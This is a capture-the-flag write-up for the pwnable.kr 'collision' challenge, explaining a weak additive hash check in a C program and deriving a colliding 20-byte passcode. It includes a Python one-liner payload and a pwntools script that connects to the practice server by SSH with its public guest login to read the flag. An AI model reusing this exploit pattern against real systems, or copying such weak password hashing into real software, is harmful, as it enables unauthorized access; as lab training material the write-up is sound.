Professional Documents
Culture Documents
Pwnable - KR - Collision - 0xrick
Pwnable - KR - Collision - 0xrick
pwnable.kr - collision
Introduction
Hey guys this is my write-up for a challenge called collision from pwnable.kr. It’s a
very simple challenge, we need a password to make the program read the flag, the
function that validates the given password is vulnerable to hash collision so we will exploit
it.
Challenge Description :
1 #include <stdio.h>
2 #include <string.h>
3 unsigned long hashcode = 0x21DD09EC;
4 unsigned long check_password(const char* p){
5 int* ip = (int*)p;
6 int i;
7 int res=0;
8 for(i=0; i<5; i++){
9 res += ip[i];
10 }
11 return res;
12 }
13
14 int main(int argc, char* argv[]){
15 if(argc<2){
16 printf("usage : %s [passcode]\n", argv[0]);
17 return 0;
18 }
19 if(strlen(argv[1]) != 20){
20 printf("passcode length should be 20 bytes\n");
21 return 0;
22 }
23
24 if(hashcode == check_password( argv[1] )){
25 system("/bin/cat flag");
26 return 0;
27 }
28 else
29 printf("wrong passcode.\n");
30 return 0;
31 }
main() :
Starting by the main function it checks if we have given the program an input and it
checks if our input’s length is exactly 20 bytes. Then it checks if the return value of
check_password(our input) is equal to hashcode , if we pass that check it will read the
flag, otherwise it will print wrong passcode. and exit.
1 >>> 0x21DD09EC
2 568134124
So we need our input to be 20 bytes length and we also need to make the function
check_password return 568134124 when our input is given to it.
Let’s quickly try to simulate that in gdb .
I ran the program and set a breakpoint at main :
Then I set a breakpoint before the return instruction in check_password() and continued
the execution :
1 gef➤ c
2 Continuing.
Great, now we need to find out how to make check_password() return that value, let’s
look at the code.
check_password() :
This function casts the given passcode ( p ) into integer, declares ip which is an array of
pointers starting with the pointer to p , and declares an int variable called res and
gives it a value of 0 then it loops 5 times through ip (because length of passcode is 20,
20/4 == 5 ) and adds each value to res , finally it returns res .
In case you’re confused, simply what happens is that it takes the given passcode which is
20 bytes length and divides it to 5 pieces (each piece 4 bytes) then it sums the decimal
value of the 5 pieces and returns that value. For example the result of giving
check_password() “AAAAAAAAAAAAAAAAAAAA” will be like this :
To verify that I took the main code and added some printf statements, test code looks
like this :
1 #include <stdio.h>
2 #include <string.h>
3 unsigned long hashcode = 0x21DD09EC;
4 unsigned long check_password(const char* p){
5 int* ip = (int*)p;
6 int i;
7 int res=0;
8 for(i=0; i<5; i++){
9 res += ip[i];
10 printf("\n--------------------------\n");
11 printf("loop : %i\n", i);
12 printf("piece value : %i\n",ip[i] );
13 printf("\n");
14 }
15 return res;
16 }
17
18 int main(int argc, char* argv[]){
19 if(argc<2){
20 printf("usage : %s [passcode]\n", argv[0]);
21 return 0;
22 }
23 if(strlen(argv[1]) != 20){
24 printf("passcode length should be 20 bytes\n");
25 return 0;
26 }
27 printf("hashcode : %i\n", hashcode);
28 if(hashcode == check_password( argv[1] )){
29 system("/bin/cat flag");
30 return 0;
31 }
32 else
33 printf("wrong passcode.\n");
34 return 0;
35 }
Let’s give it 20 A’s :
You can see that the 5 pieces are of the same value which is the value of 0x41414141 (4
A’s) :
1 >>> 0x41414141
2 1094795585
And if we give it AAAABBBBCCCCDDDDEEEE :
1 >>> 0x41414141
2 1094795585
3 >>> 0x42424242
4 1111638594
5 >>> 0x43434343
6 1128481603
7 >>> 0x44444444
8 1145324612
9 >>> 0x45454545
10 1162167621
Exploitation
We need to come up with 5 pieces that add up to 568134124.
We can divide the original value by 5 :
1 >>> 568134124/5
2 113626824
1 >>> 568134124%5
2 4
We can use 113626824 as the first 4 pieces, to get the last piece we will multiply
113626824 by 4 and subtract the result from 568134124 :
1 >>> 113626824 * 4
2 454507296
3 >>> 568134124 - 454507296
4 113626828
1 >>> hex(113626824)
2 '0x6c5cec8'
3 >>> hex(113626828)
4 '0x6c5cecc'
And because it’s little endian we will reverse the order, final payload will be :
1 python -c 'print "\xc8\xce\xc5\x06" * 4 + "\xcc\xce\xc5\x06"'
Let’s test it :
It works.
And by the way what we did now is a hash collision, we made a hash function produce the
same output for different inputs.
I also wrote small python script using pwntools :
1 #!/usr/bin/python
2 from pwn import *
3
4 payload = p32(0x6c5cec8) * 4 + p32(0x6c5cecc)
5
6 r = ssh('col' ,'pwnable.kr' ,password='guest', port=2222)
7 p = r.process(executable='./col', argv=['col',payload])
8 flag = p.recv()
9 log.success("Flag: " + flag)
10 p.close()
11 r.close()
pwned !
That’s it , Feedback is appreciated !
Don’t forget to read the other write-ups , Tweet about the write-up if you liked it , follow on
twitter @Ahm3d_H3sham
Thanks for reading.
Previous pwn write-up : pwnable.kr - bof